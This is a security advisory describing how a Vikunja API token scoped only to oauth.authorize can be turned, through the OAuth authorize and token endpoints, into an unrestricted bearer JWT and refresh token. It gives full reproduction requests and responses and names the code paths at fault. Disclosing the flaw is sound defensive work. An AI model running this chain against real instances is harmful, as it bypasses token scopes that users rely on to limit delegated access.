Vikunja: Scoped API token can mint unrestricted OAuth session credentials

Summary

A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.

A token limited to:

{"oauth":["authorize"]}

can call /api/v1/oauth/authorize, receive an OAuth authorization code, exchange it at /api/v1/oauth/token, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.

Affected Component

• Scoped API tokens
• OAuth authorization flow
• POST /api/v1/oauth/authorize
• POST /api/v1/oauth/token

Impact

A narrowly scoped API token with only oauth.authorize can be converted into normal session credentials for the same user.

This bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.

Runtime validation showed that the original scoped token could not access GET /api/v1/user, but the minted OAuth access token could access:

• GET /api/v1/user
• GET /api/v1/projects

No cross-user access, privilege escalation to admin, or access to another account was validated.

Technical Details

The issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.

The vulnerable chain is:

1. A scoped API token authenticates the request and sets the current user context.
2. /api/v1/oauth/authorize accepts that API-token-authenticated user as a valid OAuth resource owner.
3. The OAuth authorization endpoint issues an authorization code.
4. /api/v1/oauth/token exchanges that code for a normal bearer JWT and refresh token.
5. The resulting credentials are not bound to the original API-token permissions.

Relevant code paths:

• pkg/routes/routes.go

  • registers /api/v1/oauth/authorize in an authenticated API route group that also accepts scoped API tokens

• pkg/models/api_routes.go

  • exposes non-CRUD subroutes as API-token permissions
  • exposes the OAuth authorization endpoint under the oauth permission group

• pkg/routes/api_tokens.go

  • stores api_token and api_user in the request context during API-token authentication

• pkg/user/user.go

  • treats api_user as an authenticated current user

• pkg/modules/auth/oauth2server/authorize.go

  • uses the current user and issues an OAuth authorization code

• pkg/modules/auth/oauth2server/token.go

  • exchanges the authorization code for a normal JWT and refresh token

Steps to Reproduce

1. Create a scoped API token

Create an API token with only the following permission:

{"oauth":["authorize"]}

Observed response:

201 Created

The returned token had only the oauth.authorize permission.

2. Negative control: direct access with scoped token fails

Request:

GET /api/v1/user
Authorization: Bearer <scoped-api-token>

Observed response:

401 Unauthorized

Response body:

{"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}

This confirms that the scoped token cannot directly access the normal user route.

3. Obtain an OAuth authorization code with the scoped token

Request:

POST /api/v1/oauth/authorize
Authorization: Bearer <scoped-api-token>
Content-Type: application/json

Body:

{
  "response_type": "code",
  "client_id": "vikunja",
  "redirect_uri": "vikunja-flutter://callback",
  "code_challenge": "<pkce-s256-challenge>",
  "code_challenge_method": "S256"
}

Observed response:

200 OK

Response body:

{
  "code": "<redacted>",
  "redirect_uri": "vikunja-flutter://callback",
  "state": ""
}

The scoped API token successfully obtained an OAuth authorization code.

4. Exchange the authorization code for session credentials

Request:

POST /api/v1/oauth/token
Content-Type: application/json

Body:

{
  "grant_type": "authorization_code",
  "code": "<redacted>",
  "client_id": "vikunja",
  "redirect_uri": "vikunja-flutter://callback",
  "code_verifier": "<original-pkce-verifier>"
}

Observed response:

200 OK

Response body:

{
  "access_token": "<redacted>",
  "token_type": "bearer",
  "expires_in": 600,
  "refresh_token": "<redacted>"
}

The authorization code was exchanged for a normal access token and refresh token.

5. Use the minted access token on normal routes

Request:

GET /api/v1/user
Authorization: Bearer <minted-oauth-access-token>

Observed response:

200 OK

Additional scope check:

GET /api/v1/projects
Authorization: Bearer <minted-oauth-access-token>

Observed response:

200 OK

The minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.

Expected Behavior

A scoped API token should not be able to obtain credentials with broader permissions than its declared scope.

/api/v1/oauth/authorize should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.

Actual Behavior

A token scoped only to oauth.authorize can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.

The minted credentials are not restricted by the original API-token permissions.